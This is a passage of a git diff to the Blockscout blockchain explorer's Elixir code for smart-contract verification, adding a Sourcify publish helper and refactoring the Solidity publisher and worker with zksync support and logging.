<> "/events%3Abatch-get" + # cspell:enable + + def base_api_url, do: "#{base_url()}" <> "/api/v1/abi" + + def base_url do + Microservice.base_url(__MODULE__) + end + + def enabled?, do: Application.get_env(:explorer, __MODULE__)[:enabled] +end diff --git a/apps/explorer/lib/explorer/smart_contract/solc_downloader.ex b/apps/explorer/lib/explorer/smart_contract/solc_downloader.ex index 5f63b3189dbc..f85b2a67b34a 100644 --- a/apps/explorer/lib/explorer/smart_contract/solc_downloader.ex +++ b/apps/explorer/lib/explorer/smart_contract/solc_downloader.ex @@ -5,6 +5,7 @@ defmodule Explorer.SmartContract.SolcDownloader do """ use GenServer + alias Explorer.HttpClient alias Explorer.SmartContract.CompilerVersion @latest_compiler_refetch_time :timer.minutes(30) @@ -93,7 +94,7 @@ defmodule Explorer.SmartContract.SolcDownloader do download_path = "https://solc-bin.ethereum.org/bin/soljson-#{version}.js" download_path - |> HTTPoison.get!([], timeout: 60_000, recv_timeout: 60_000) + |> HttpClient.get!([], timeout: 60_000, recv_timeout: 60_000) |> Map.get(:body) end end diff --git a/apps/explorer/lib/explorer/smart_contract/solidity/code_compiler.ex b/apps/explorer/lib/explorer/smart_contract/solidity/code_compiler.ex index d4485fdcd498..ba1cca203908 100644 --- a/apps/explorer/lib/explorer/smart_contract/solidity/code_compiler.ex +++ b/apps/explorer/lib/explorer/smart_contract/solidity/code_compiler.ex @@ -20,6 +20,7 @@ defmodule Explorer.SmartContract.Solidity.CodeCompiler do ## Examples + iex(1)> Tesla.Test.expect_tesla_call(times: 1, returns: %Tesla.Env{status: 200, body: ""}) iex(1)> Explorer.SmartContract.Solidity.CodeCompiler.run([ ...> name: "SimpleStorage", ...> compiler_version: "v0.4.24+commit.e67f0147", @@ -69,21 +70,21 @@ defmodule Explorer.SmartContract.Solidity.CodeCompiler do } } """ - @spec run(Keyword.t()) :: {:ok, map} | {:error, :compilation | :name} + @spec run(Keyword.t()) :: {:ok, map} | {:error, :compilation | :name} | {:error, :compilation, String.t()} def run(params) do name = Keyword.fetch!(params, :name) compiler_version = Keyword.fetch!(params, :compiler_version) code = Keyword.fetch!(params, :code) optimize = Keyword.fetch!(params, :optimize) optimization_runs = optimization_runs(params) - evm_version = Keyword.get(params, :evm_version, List.last(allowed_evm_versions())) + evm_version = Keyword.get(params, :evm_version, List.last(evm_versions(:solidity))) bytecode_hash = Keyword.get(params, :bytecode_hash, "default") external_libs = Keyword.get(params, :external_libs, %{}) external_libs_string = Jason.encode!(external_libs) checked_evm_version = - if evm_version in allowed_evm_versions() do + if evm_version in evm_versions(:solidity) do evm_version else "byzantium" @@ -125,7 +126,7 @@ defmodule Explorer.SmartContract.Solidity.CodeCompiler do error -> error = parse_error(error) - Logger.warn(["There was an error compiling a provided contract: ", inspect(error)]) + Logger.warning(["There was an error compiling a provided contract: ", inspect(error)]) {:error, [first_error | _]} = error %{"message" => error_message} = first_error {:error, :compilation, error_message} @@ -164,7 +165,7 @@ defmodule Explorer.SmartContract.Solidity.CodeCompiler do error -> error = parse_error(error) - Logger.warn(["There was an error compiling a provided contract: ", inspect(error)]) + Logger.warning(["There was an error compiling a provided contract: ", inspect(error)]) {:error, [first_error | _]} = error %{"message" => error_message} = first_error {:error, :compilation, error_message} @@ -262,9 +263,19 @@ defmodule Explorer.SmartContract.Solidity.CodeCompiler do end end - def allowed_evm_versions do + def evm_versions(compiler_type) do + case compiler_type do + :vyper -> + allowed_evm_versions(:allowed_vyper_evm_versions) + + :solidity -> + allowed_evm_versions(:allowed_solidity_evm_versions) + end + end + + defp allowed_evm_versions(env_name) do :explorer - |> Application.get_env(:allowed_evm_versions) + |> Application.get_env(env_name) |> String.split(",") |> Enum.map(fn version -> String.trim(version) end) end diff --git a/apps/explorer/lib/explorer/smart_contract/solidity/publish_helper.ex b/apps/explorer/lib/explorer/smart_contract/solidity/publish_helper.ex new file mode 100644 index 000000000000..56597fae83ef --- /dev/null +++ b/apps/explorer/lib/explorer/smart_contract/solidity/publish_helper.ex @@ -0,0 +1,274 @@ +defmodule Explorer.SmartContract.Solidity.PublishHelper do + @moduledoc """ + Module responsible for preparing and publishing smart contracts + """ + + use Utils.RuntimeEnvHelper, + eth_bytecode_db_enabled?: [ + :explorer, + [ + Explorer.SmartContract.RustVerifierInterfaceBehaviour, + :eth_bytecode_db? + ] + ], + sourcify_enabled?: [ + :explorer, + [ + Explorer.ThirdPartyIntegrations.Sourcify, + :enabled + ] + ] + + alias Ecto.Changeset + alias Explorer.Chain.Events.Publisher, as: EventsPublisher + alias Explorer.Chain.Fetcher.LookUpSmartContractSourcesOnDemand + alias Explorer.Chain.SmartContract + alias Explorer.SmartContract.Solidity.Publisher + alias Explorer.ThirdPartyIntegrations.Sourcify + + def verify_and_publish(address_hash_string, files_array, conn, api_v2?, chosen_contract \\ nil) do + with {:ok, _verified_status} <- Sourcify.verify(address_hash_string, files_array, chosen_contract), + {:ok, _verified_status} <- Sourcify.check_by_address(address_hash_string) do + get_metadata_and_publish(address_hash_string, conn, api_v2?) + else + {:error, "partial"} -> + {:ok, status, metadata} = Sourcify.check_by_address_any(address_hash_string) + process_metadata_and_publish(address_hash_string, metadata, status == "partial", conn, api_v2?) + + {:error, %{"error" => error}} -> + EventsPublisher.broadcast( + prepare_verification_error(error, address_hash_string, conn, api_v2?), + :on_demand + ) + + {:error, error} -> + EventsPublisher.broadcast( + prepare_verification_error(error, address_hash_string, conn, api_v2?), + :on_demand + ) + + _ -> + EventsPublisher.broadcast( + prepare_verification_error("Unexpected error", address_hash_string, conn, api_v2?), + :on_demand + ) + end + end + + def get_metadata_and_publish(address_hash_string, conn, api_v2? \\ false) do + case Sourcify.get_metadata(address_hash_string) do + {:ok, verification_metadata} -> + process_metadata_and_publish(address_hash_string, verification_metadata, false, conn, api_v2?) + + {:error, %{"error" => error}} -> + return_sourcify_error(conn, error, address_hash_string, api_v2?) + end + end + + defp process_metadata_and_publish(address_hash_string, verification_metadata, is_partial, conn \\ nil, api_v2?) do + case Sourcify.parse_params_from_sourcify(address_hash_string, verification_metadata) do + %{ + "params_to_publish" => params_to_publish, + "abi" => abi, + "secondary_sources" => secondary_sources, + "compilation_target_file_path" => compilation_target_file_path + } -> + publish( + conn, + %{ + "addressHash" => address_hash_string, + "params" => Map.put(params_to_publish, "partially_verified", is_partial), + "abi" => abi, + "secondarySources" => secondary_sources, + "compilationTargetFilePath" => compilation_target_file_path + }, + api_v2? + ) + + {:error, :metadata} -> + return_sourcify_error(conn, Sourcify.no_metadata_message(), address_hash_string, api_v2?) + + _ -> + return_sourcify_error(conn, Sourcify.failed_verification_message(), address_hash_string, api_v2?) + end + end + + defp return_sourcify_error(nil, error, _address_hash_string, _api_v2?) do + {:error, error: error} + end + + defp return_sourcify_error(conn, error, address_hash_string, api_v2?) do + EventsPublisher.broadcast( + prepare_verification_error(error, address_hash_string, conn, api_v2?), + :on_demand + ) + end + + def prepare_files_array(files) when is_map(files), do: Map.values(files) + + def prepare_files_array(_), do: [] + + def get_one_json(files_array) do + files_array + |> Enum.filter(fn file -> + case file do + %Plug.Upload{content_type: content_type} -> + content_type == "application/json" + + _ -> + false + end + end) + |> Enum.at(0) + end + + # sobelow_skip ["Traversal.FileModule"] + def read_files(plug_uploads) do + Enum.reduce(plug_uploads, %{}, fn file, acc -> + case file do + %Plug.Upload{path: path, filename: file_name} -> + {:ok, file_content} = File.read(path) + Map.put(acc, file_name, file_content) + + _ -> + acc + end + end) + end + + def prepare_verification_error(msg, address_hash_string, conn, api_v2? \\ false) + + def prepare_verification_error(msg, address_hash_string, conn, false) do + [ + {:contract_verification_result, + {address_hash_string, + {:error, + %Changeset{ + action: :insert, + errors: [ + files: {msg, []} + ], + data: %SmartContract{address_hash: address_hash_string}, + valid?: false + }}, conn}} + ] + end + + def prepare_verification_error(msg, address_hash_string, _conn, true) do + changeset = + SmartContract.invalid_contract_changeset(%SmartContract{address_hash: address_hash_string}, %{}, msg, nil, true) + + [ + {:contract_verification_result, {address_hash_string, {:error, changeset}}} + ] + end + + def check_and_verify(address_hash_string, options \\ []) do + cond do + eth_bytecode_db_enabled?() -> + LookUpSmartContractSourcesOnDemand.trigger_fetch(options[:ip], address_hash_string) + + sourcify_enabled?() -> + address_hash_string + |> SmartContract.select_partially_verified_by_address_hash() + |> check_by_address_in_sourcify(address_hash_string) + + true -> + {:error, :sourcify_disabled} + end + end + + def sourcify_check(address_hash_string) do + cond do + eth_bytecode_db_enabled?() -> + {:error, :eth_bytecode_db_enabled} + + sourcify_enabled?() -> + check_by_address_in_sourcify( + SmartContract.select_partially_verified_by_address_hash(address_hash_string), + address_hash_string + ) + + true -> + {:error, :sourcify_disabled} + end + end + + defp check_by_address_in_sourcify(false, _address_hash_string) do + {:ok, :already_fully_verified} + end + + defp check_by_address_in_sourcify(true, address_hash_string) do + case Sourcify.check_by_address(address_hash_string) do + {:ok, _verified_status} -> + get_metadata_and_publish(address_hash_string, nil) + + _ -> + {:error, :not_verified} + end + end + + defp check_by_address_in_sourcify(nil, address_hash_string) do + case Sourcify.check_by_address_any(address_hash_string) do + {:ok, "full", metadata} -> + process_metadata_and_publish(address_hash_string, metadata, false, false) + + {:ok, "partial", metadata} -> + process_metadata_and_publish(address_hash_string, metadata, true, false) + + _ -> + {:error, :not_verified} + end + end + + def publish_without_broadcast( + %{"addressHash" => address_hash, "abi" => abi, "compilationTargetFilePath" => file_path} = input + ) do + params = process_params(input) + + address_hash + |> Publisher.publish_smart_contract(params, abi, true, file_path) + |> process_response() + end + + def publish_without_broadcast(%{"addressHash" => address_hash, "abi" => abi} = input) do + params = process_params(input) + + address_hash + |> Publisher.publish_smart_contract(params, abi, false) + |> process_response() + end + + def publish(nil, %{"addressHash" => _address_hash} = input, _) do + publish_without_broadcast(input) + end + + def publish(conn, %{"addressHash" => address_hash} = input, api_v2?) do + result = publish_without_broadcast(input) + + if api_v2? do + EventsPublisher.broadcast([{:contract_verification_result, {address_hash, result}}], :on_demand) + else + EventsPublisher.broadcast([{:contract_verification_result, {address_hash, result, conn}}], :on_demand) + end + end + + def process_params(input) do + if Map.has_key?(input, "secondarySources") do + input["params"] + |> Map.put("secondary_sources", Map.get(input, "secondarySources")) + else + input["params"] + end + end + + def process_response(response) do + case response do + {:ok, _contract} = result -> + result + + {:error, changeset} -> + {:error, changeset} + end + end +end diff --git a/apps/explorer/lib/explorer/smart_contract/solidity/publisher.ex b/apps/explorer/lib/explorer/smart_contract/solidity/publisher.ex index 094d7ed7610c..9ebf593081a0 100644 --- a/apps/explorer/lib/explorer/smart_contract/solidity/publisher.ex +++ b/apps/explorer/lib/explorer/smart_contract/solidity/publisher.ex @@ -3,11 +3,18 @@ defmodule Explorer.SmartContract.Solidity.Publisher do Module responsible to control the contract verification. """ - alias Explorer.Chain + require Logger + + import Explorer.SmartContract.Helper, only: [cast_libraries: 1, prepare_license_type: 1] + alias Explorer.Chain.SmartContract alias Explorer.SmartContract.{CompilerVersion, Helper} alias Explorer.SmartContract.Solidity.Verifier + @sc_verification_via_flattened_file_started "Smart-contract verification via flattened file started" + @sc_verification_via_standard_json_input_started "Smart-contract verification via standard json input started" + @sc_verification_via_multipart_files_started "Smart-contract verification via multipart files started" + @doc """ Evaluates smart contract authenticity and saves its details. @@ -25,70 +32,80 @@ defmodule Explorer.SmartContract.Solidity.Publisher do """ def publish(address_hash, params, external_libraries \\ %{}) do - params_with_external_libaries = add_external_libraries(params, external_libraries) + Logger.info(@sc_verification_via_flattened_file_started) + params_with_external_libraries = add_external_libraries(params, external_libraries) - case Verifier.evaluate_authenticity(address_hash, params_with_external_libaries) do + case Verifier.evaluate_authenticity(address_hash, params_with_external_libraries) do { :ok, %{ - "abi" => abi_string, - "compiler_version" => _, - "constructor_arguments" => _, - "contract_libraries" => contract_libraries, - "contract_name" => contract_name, - "evm_version" => _, - "file_name" => file_name, - "optimization" => _, - "optimization_runs" => _, - "sources" => sources + "abi" => _, + "compilerVersion" => _, + "constructorArguments" => _, + "contractName" => _, + "fileName" => _, + "compilerSettings" => _, + "sourceFiles" => _ } = result_params } -> - %{^file_name => contract_source_code} = sources - - prepared_params = - result_params - |> Map.put("contract_source_code", contract_source_code) - |> Map.put("external_libraries", contract_libraries) - |> Map.put("name", contract_name) - - publish_smart_contract(address_hash, prepared_params, Jason.decode!(abi_string)) + process_rust_verifier_response(result_params, address_hash, params, false, false) {:ok, %{abi: abi, constructor_arguments: constructor_arguments}} -> params_with_constructor_arguments = - Map.put(params_with_external_libaries, "constructor_arguments", constructor_arguments) + Map.put(params_with_external_libraries, "constructor_arguments", constructor_arguments) - publish_smart_contract(address_hash, params_with_constructor_arguments, abi) + publish_smart_contract(address_hash, params_with_constructor_arguments, abi, false) {:ok, %{abi: abi}} -> - publish_smart_contract(address_hash, params_with_external_libaries, abi) + publish_smart_contract(address_hash, params_with_external_libraries, abi, false) {:error, error} -> - {:error, unverified_smart_contract(address_hash, params_with_external_libaries, error, nil)} + {:error, unverified_smart_contract(address_hash, params_with_external_libraries, error, nil)} {:error, error, error_message} -> - {:error, unverified_smart_contract(address_hash, params_with_external_libaries, error, error_message)} + {:error, unverified_smart_contract(address_hash, params_with_external_libraries, error, error_message)} _ -> - {:error, unverified_smart_contract(address_hash, params_with_external_libaries, "Unexpected error", nil)} + {:error, unverified_smart_contract(address_hash, params_with_external_libraries, "Unexpected error", nil)} end end def publish_with_standard_json_input(%{"address_hash" => address_hash} = params, json_input) do + Logger.info(@sc_verification_via_standard_json_input_started) + params = maybe_add_zksync_specific_data(params) + case Verifier.evaluate_authenticity_via_standard_json_input(address_hash, params, json_input) do {:ok, %{ "abi" => _, - "compiler_version" => _, - "constructor_arguments" => _, - "contract_libraries" => _, - "contract_name" => _, - "evm_version" => _, - "file_name" => _, - "optimization" => _, - "optimization_runs" => _, - "sources" => _ + "compilerVersion" => _, + "constructorArguments" => _, + "contractName" => _, + "fileName" => _, + "sourceFiles" => _, + "compilerSettings" => _ + } = result_params} -> + process_rust_verifier_response(result_params, address_hash, params, true, true) + + # zksync + {:ok, + %{ + "compilationArtifacts" => compilation_artifacts_string, + "evmCompiler" => _, + "zkCompiler" => _, + "contractName" => _, + "fileName" => _, + "sources" => _, + "compilerSettings" => _, + "runtimeMatch" => _ } = result_params} -> - proccess_rust_verifier_response(result_params, address_hash) + compilation_artifacts = Jason.decode!(compilation_artifacts_string) + + transformed_result_params = + result_params + |> Map.put("abi", Map.get(compilation_artifacts, "abi")) + + process_rust_verifier_response(transformed_result_params, address_hash, params, true, true) {:ok, %{abi: abi, constructor_arguments: constructor_arguments}, additional_params} -> params_with_constructor_arguments = @@ -96,11 +113,11 @@ defmodule Explorer.SmartContract.Solidity.Publisher do |> Map.put("constructor_arguments", constructor_arguments) |> Map.merge(additional_params) - publish_smart_contract(address_hash, params_with_constructor_arguments, abi) + publish_smart_contract(address_hash, params_with_constructor_arguments, abi, true) {:ok, %{abi: abi}, additional_params} -> merged_params = Map.merge(params, additional_params) - publish_smart_contract(address_hash, merged_params, abi) + publish_smart_contract(address_hash, merged_params, abi, true) {:error, error} -> {:error, unverified_smart_contract(address_hash, params, error, nil, true)} @@ -113,24 +130,22 @@ defmodule Explorer.SmartContract.Solidity.Publisher do end end - def publish_with_multi_part_files(%{"address_hash" => address_hash} = params, external_libraries, files) do - params_with_external_libaries = add_external_libraries(params, external_libraries) + def publish_with_multi_part_files(%{"address_hash" => address_hash} = params, external_libraries \\ %{}, files) do + Logger.info(@sc_verification_via_multipart_files_started) + params_with_external_libraries = add_external_libraries(params, external_libraries) - case Verifier.evaluate_authenticity_via_multi_part_files(address_hash, params_with_external_libaries, files) do + case Verifier.evaluate_authenticity_via_multi_part_files(address_hash, params_with_external_libraries, files) do {:ok, %{ "abi" => _, - "compiler_version" => _, - "constructor_arguments" => _, - "contract_libraries" => _, - "contract_name" => _, - "evm_version" => _, - "file_name" => _, - "optimization" => _, - "optimization_runs" => _, - "sources" => _ + "compilerVersion" => _, + "constructorArguments" => _, + "contractName" => _, + "fileName" => _, + "sourceFiles" => _, + "compilerSettings" => _ } = result_params} -> - proccess_rust_verifier_response(result_params, address_hash) + process_rust_verifier_response(result_params, address_hash, params, false, true) {:error, error} -> {:error, unverified_smart_contract(address_hash, params, error, nil, true)} @@ -140,20 +155,89 @@ defmodule Explorer.SmartContract.Solidity.Publisher do end end - def proccess_rust_verifier_response( + def process_rust_verifier_response( + source, + address_hash, + initial_params, + is_standard_json?, + save_file_path?, + automatically_verified? \\ false + ) + + # zksync + def process_rust_verifier_response( + %{ + "abi" => abi, + "evmCompiler" => %{"version" => compiler_version}, + "contractName" => contract_name, + "fileName" => file_name, + "sources" => sources, + "compilerSettings" => compiler_settings_string, + "runtimeMatch" => %{"type" => match_type}, + "zkCompiler" => %{"version" => zk_compiler_version} + }, + address_hash, + initial_params, + is_standard_json?, + save_file_path?, + _automatically_verified? + ) do + secondary_sources = + for {file, source} <- sources, + file != file_name, + do: %{"file_name" => file, "contract_source_code" => source, "address_hash" => address_hash} + + %{^file_name => contract_source_code} = sources + + compiler_settings = Jason.decode!(compiler_settings_string) + + optimization = extract_optimization(compiler_settings) + + optimization_runs = zksync_parse_optimization_runs(compiler_settings, optimization) + + constructor_arguments = + if initial_params["constructor_arguments"] !== "0x", do: initial_params["constructor_arguments"], else: nil + + prepared_params = + %{} + |> Map.put("optimization", optimization) + |> Map.put("optimization_runs", optimization_runs) + |> Map.put("evm_version", compiler_settings["evmVersion"] || "default") + |> Map.put("compiler_version", compiler_version) + |> Map.put("zk_compiler_version", zk_compiler_version) + |> Map.put("constructor_arguments", constructor_arguments) + |> Map.put("contract_source_code", contract_source_code) + |> Map.put("external_libraries", cast_libraries(compiler_settings["libraries"] || %{})) + |> Map.put("name", contract_name) + |> Map.put("file_path", if(save_file_path?, do: file_name)) + |> Map.put("secondary_sources", secondary_sources) + |> Map.put("compiler_settings", if(is_standard_json?, do: compiler_settings)) + |> Map.put("partially_verified", match_type == "PARTIAL") + |> Map.put("verified_via_sourcify", false) + |> Map.put("verified_via_eth_bytecode_db", false) + |> Map.put("verified_via_verifier_alliance", false) + |> Map.put("license_type", initial_params["license_type"]) + |> Map.put("is_blueprint", false) + + publish_smart_contract(address_hash, prepared_params, abi, save_file_path?) + end + + def process_rust_verifier_response( %{ "abi" => abi_string, - "compiler_version" => _, - "constructor_arguments" => _, - "contract_libraries" => contract_libraries, - "contract_name" => contract_name, - "evm_version" => _, - "file_name" => file_name, - "optimization" => _, - "optimization_runs" => _, - "sources" => sources - } = result_params, - address_hash + "compilerVersion" => compiler_version, + "constructorArguments" => constructor_arguments, + "contractName" => contract_name, + "fileName" => file_name, + "sourceFiles" => sources, + "compilerSettings" => compiler_settings_string, + "matchType" => match_type + } = source, + address_hash, + initial_params, + is_standard_json?, + save_file_path?, + automatically_verified? ) do secondary_sources = for {file, source} <- sources, @@ -162,38 +246,94 @@ defmodule Explorer.SmartContract.Solidity.Publisher do %{^file_name => contract_source_code} = sources + compiler_settings = Jason.decode!(compiler_settings_string) + + optimization = extract_optimization(compiler_settings) + + optimization_runs = parse_optimization_runs(compiler_settings, optimization) + prepared_params = - result_params + %{} + |> Map.put("optimization", optimization) + |> Map.put("optimization_runs", optimization_runs) + |> Map.put("evm_version", compiler_settings["evmVersion"] || "default") + |> Map.put("compiler_version", compiler_version) + |> Map.put("constructor_arguments", constructor_arguments) |> Map.put("contract_source_code", contract_source_code) - |> Map.put("external_libraries", contract_libraries) + |> Map.put("external_libraries", cast_libraries(compiler_settings["libraries"] || %{})) |> Map.put("name", contract_name) - |> Map.put("file_path", file_name) + |> Map.put("file_path", if(save_file_path?, do: file_name)) |> Map.put("secondary_sources", secondary_sources) + |> Map.put("compiler_settings", if(is_standard_json?, do: compiler_settings)) + |> Map.put("partially_verified", match_type == "PARTIAL") + |> Map.put("verified_via_sourcify", source["sourcify?"]) + |> Map.put("verified_via_eth_bytecode_db", automatically_verified?) + |> Map.put("verified_via_verifier_alliance", source["verifier_alliance?"]) + |> Map.put("license_type", initial_params["license_type"]) + |> Map.put("is_blueprint", source["isBlueprint"]) + + publish_smart_contract(address_hash, prepared_params, Jason.decode!(abi_string || "null"), save_file_path?) + end - publish_smart_contract(address_hash, prepared_params, Jason.decode!(abi_string)) + defp parse_optimization_runs(compiler_settings, optimization) do + if(optimization, do: compiler_settings["optimizer"]["runs"]) end - def publish_smart_contract(address_hash, params, abi) do - attrs = address_hash |> attributes(params, abi) + defp zksync_parse_optimization_runs(compiler_settings, optimization) do + optimizer = Map.get(compiler_settings, "optimizer") - create_or_update_smart_contract(address_hash, attrs) + if optimization do + if optimizer && Map.has_key?(optimizer, "mode"), do: Map.get(optimizer, "mode"), else: "3" + end end - def publish_smart_contract(address_hash, params, abi, file_path) do - attrs = address_hash |> attributes(params, file_path, abi) + def extract_optimization(compiler_settings), + do: (compiler_settings["optimizer"] && compiler_settings["optimizer"]["enabled"]) || false - create_or_update_smart_contract(address_hash, attrs) - end + @doc """ + Publishes a verified smart contract. + + ## Parameters + - `address_hash`: The address hash of the smart contract + - `params`: The parameters for the smart contract + - `abi`: The ABI of the smart contract + - `verification_with_files?`: A boolean indicating whether the verification + was performed with files or flattened code. + - `file_path`: Optional file path for the smart contract source code + + ## Returns + - `{:ok, %SmartContract{}}` if successful + - `{:error, %Ecto.Changeset{}}` if there was an error + """ + @spec publish_smart_contract(binary() | Explorer.Chain.Hash.t(), map(), map(), boolean(), String.t() | nil) :: + {:ok, SmartContract.t()} | {:error, Ecto.Changeset.t() | String.t()} + def publish_smart_contract(address_hash, params, abi, verification_with_files?, file_path \\ nil) do + attrs = + if file_path do + address_hash |> attributes(params, file_path, abi) + else + address_hash |> attributes(params, abi) + end - defp create_or_update_smart_contract(address_hash, attrs) do - if Chain.smart_contract_verified?(address_hash) do - Chain.update_smart_contract(attrs, attrs.external_libraries, attrs.secondary_sources) - else - Chain.create_smart_contract(attrs, attrs.external_libraries, attrs.secondary_sources) + ok_or_error = + SmartContract.create_or_update_smart_contract( + address_hash, + attrs, + verification_with_files? + ) + + case ok_or_error do + {:ok, _} -> + Logger.info("Solidity smart-contract #{address_hash} successfully published") + + {:error, error} -> + Logger.error("Solidity smart-contract #{address_hash} failed to publish: #{inspect(error)}") end + + ok_or_error end - defp unverified_smart_contract(address_hash, params, error, error_message, json_verification \\ false) do + defp unverified_smart_contract(address_hash, params, error, error_message, verification_with_files? \\ false) do attrs = address_hash |> attributes(params) @@ -205,9 +345,11 @@ defmodule Explorer.SmartContract.Solidity.Publisher do attrs, error, error_message, - json_verification + verification_with_files? ) + Logger.error("Solidity smart-contract verification #{address_hash} failed because of the error #{inspect(error)}") + %{changeset | action: :insert} end @@ -215,21 +357,25 @@ defmodule Explorer.SmartContract.Solidity.Publisher do Map.put(attributes(address_hash, params, abi), :file_path, file_path) end + # credo:disable-for-next-line Credo.Check.Refactor.CyclomaticComplexity defp attributes(address_hash, params, abi \\ %{}) do constructor_arguments = params["constructor_arguments"] + compiler_settings = params["compiler_settings"] - clean_constructor_arguments = - if constructor_arguments != nil && constructor_arguments != "" do - constructor_arguments - else + clean_constructor_arguments = clear_constructor_arguments(constructor_arguments) + + clean_compiler_settings = + if compiler_settings in ["", nil, %{}] do nil + else + compiler_settings end - prepared_external_libraries = prepare_external_libraies(params["external_libraries"]) + prepared_external_libraries = prepare_external_libraries(params["external_libraries"]) compiler_version = CompilerVersion.get_strict_compiler_version(:solc, params["compiler_version"]) - %{ + base_attributes = %{ address_hash: address_hash, name: params["name"], file_path: params["file_path"], @@ -242,25 +388,51 @@ defmodule Explorer.SmartContract.Solidity.Publisher do external_libraries: prepared_external_libraries, secondary_sources: params["secondary_sources"], abi: abi, - verified_via_sourcify: params["verified_via_sourcify"], - partially_verified: params["partially_verified"], - is_vyper_contract: false, - autodetect_constructor_args: params["autodetect_constructor_args"] + verified_via_sourcify: params["verified_via_sourcify"] || false, + verified_via_eth_bytecode_db: params["verified_via_eth_bytecode_db"] || false, + verified_via_verifier_alliance: params["verified_via_verifier_alliance"] || false, + partially_verified: params["partially_verified"] || false, + autodetect_constructor_args: params["autodetect_constructor_args"], + compiler_settings: clean_compiler_settings, + license_type: prepare_license_type(params["license_type"]) || :none, + is_blueprint: params["is_blueprint"] || false, + language: (is_nil(abi) && :yul) || :solidity } + + base_attributes + |> (&if(Application.get_env(:explorer, :chain_type) == :zksync, + do: Map.put(&1, :zk_compiler_version, params["zk_compiler_version"]), + else: &1 + )).() end - defp prepare_external_libraies(nil), do: [] + @doc """ + Helper function to clean constructor arguments + """ + @spec clear_constructor_arguments(String.t() | nil) :: String.t() | nil + def clear_constructor_arguments(constructor_arguments) do + if constructor_arguments != nil && constructor_arguments != "" do + constructor_arguments + else + nil + end + end - defp prepare_external_libraies(map) do + defp prepare_external_libraries(nil), do: [] + + defp prepare_external_libraries(map) do map |> Enum.map(fn {key, value} -> %{name: key, address_hash: value} end) end + defp add_external_libraries(%{"external_libraries" => _} = params, _external_libraries), do: params + defp add_external_libraries(params, external_libraries) do clean_external_libraries = - Enum.reduce(1..10, %{}, fn number, acc -> + Enum.reduce(1..Application.get_env(:block_scout_web, :contract)[:verification_max_libraries], %{}, fn number, + acc -> address_key = "library#{number}_address" name_key = "library#{number}_name" @@ -276,4 +448,12 @@ defmodule Explorer.SmartContract.Solidity.Publisher do Map.put(params, "external_libraries", clean_external_libraries) end + + defp maybe_add_zksync_specific_data(params) do + if Application.get_env(:explorer, :chain_type) == :zksync do + Map.put(params, "constructor_arguments", SmartContract.zksync_get_constructor_arguments(params["address_hash"])) + else + params + end + end end diff --git a/apps/explorer/lib/explorer/smart_contract/solidity/publisher_worker.ex b/apps/explorer/lib/explorer/smart_contract/solidity/publisher_worker.ex index dce4ac6a36b0..f1d4dff9de43 100644 --- a/apps/explorer/lib/explorer/smart_contract/solidity/publisher_worker.ex +++ b/apps/explorer/lib/explorer/smart_contract/solidity/publisher_worker.ex @@ -3,43 +3,90 @@ defmodule Explorer.SmartContract.Solidity.PublisherWorker do Background smart contract verification worker. """ + require Logger + use Que.Worker, concurrency: 5 alias Explorer.Chain.Events.Publisher, as: EventsPublisher alias Explorer.Chain.SmartContract.VerificationStatus - alias Explorer.SmartContract.Solidity.Publisher + alias Explorer.SmartContract.Solidity.{Publisher, PublishHelper} + alias Explorer.ThirdPartyIntegrations.Sourcify def perform({"flattened", %{"address_hash" => address_hash} = params, external_libraries, conn}) do - result = - case Publisher.publish(address_hash, params, external_libraries) do - {:ok, _contract} = result -> - result + broadcast(:publish, address_hash, [address_hash, params, external_libraries], conn) + end - {:error, changeset} -> - {:error, changeset} - end + def perform({"multipart", %{"address_hash" => address_hash} = params, files_map, external_libraries, conn}) + when is_map(files_map) do + broadcast(:publish_with_multi_part_files, address_hash, [params, external_libraries, files_map], conn) + end - EventsPublisher.broadcast([{:contract_verification_result, {address_hash, result, conn}}], :on_demand) + def perform({"json_web", %{"address_hash" => address_hash} = params, json_input, conn}) do + broadcast(:publish_with_standard_json_input, address_hash, [params, json_input], conn) end - def perform({"multipart", %{"address_hash" => address_hash} = params, files_map, external_libraries, conn}) + def perform({"flattened_api_v2", %{"address_hash" => address_hash} = params}) do + broadcast(:publish, address_hash, [address_hash, params]) + end + + def perform({"json_api_v2", %{"address_hash" => address_hash} = params, json_input}) do + broadcast(:publish_with_standard_json_input, address_hash, [params, json_input]) + end + + def perform({"multipart_api_v2", %{"address_hash" => address_hash} = params, files_map}) when is_map(files_map) do + broadcast(:publish_with_multi_part_files, address_hash, [params, files_map]) + end + + def perform({"sourcify_api_v2", address_hash_string, files_array, conn, chosen_contract}) do + case Sourcify.check_by_address(address_hash_string) do + {:ok, _verified_status} -> + PublishHelper.get_metadata_and_publish(address_hash_string, conn, true) + + _ -> + PublishHelper.verify_and_publish(address_hash_string, files_array, conn, true, chosen_contract) + end + end + + def perform({"json_api", %{"address_hash" => address_hash} = params, json_input, uid}) when is_binary(uid) do + publish_and_update_status(:publish_with_standard_json_input, [params, json_input], address_hash, uid) + end + + def perform({"flattened_api", %{"address_hash" => address_hash} = params, external_libraries, uid}) + when is_binary(uid) do + publish_and_update_status(:publish, [address_hash, params, external_libraries], address_hash, uid) + end + + defp broadcast(method, address_hash, args, conn \\ nil) do result = - case Publisher.publish_with_multi_part_files(params, external_libraries, files_map) do + case apply(Publisher, method, args) do {:ok, _contract} = result -> result {:error, changeset} -> + Logger.error( + "Solidity smart-contract verification #{address_hash} failed because of the error: #{inspect(changeset)}" + ) + {:error, changeset} end - EventsPublisher.broadcast([{:contract_verification_result, {address_hash, result, conn}}], :on_demand) + Logger.info("Smart-contract #{address_hash} verification: broadcast verification results") + + if conn do + EventsPublisher.broadcast( + [{:contract_verification_result, {String.downcase(address_hash), result, conn}}], + :on_demand + ) + else + EventsPublisher.broadcast([{:contract_verification_result, {String.downcase(address_hash), result}}], :on_demand) + end end - def perform({"json_api", %{"address_hash" => address_hash} = params, json_input, uid}) when is_binary(uid) do + defp publish_and_update_status(method, args, address_hash, uid) do VerificationStatus.insert_status(uid, :pending, address_hash) - case Publisher.publish_with_standard_json_input(params, json_input) do + case apply(Publisher, method, args) do {:ok, _contract} -> VerificationStatus.update_status(uid, :pass) @@ -47,17 +94,4 @@ defmodule Explorer.SmartContract.Solidity.PublisherWorker do VerificationStatus.update_status(uid, :fail) end end - - def perform({"json_web", %{"address_hash" => address_hash} = params, json_input, conn}) do - result = - case Publisher.publish_with_standard_json_input(params, json_input) do - {:ok, _contract} = result -> - result - - {:error, changeset} -> - {:error, changeset} - end - - EventsPublisher.broadcast([{:contract_verification_result, {address_hash, result, conn}}], :on_demand) - end end diff --git a/apps/explorer/lib/explorer/smart_contract/solidity/verifier.ex 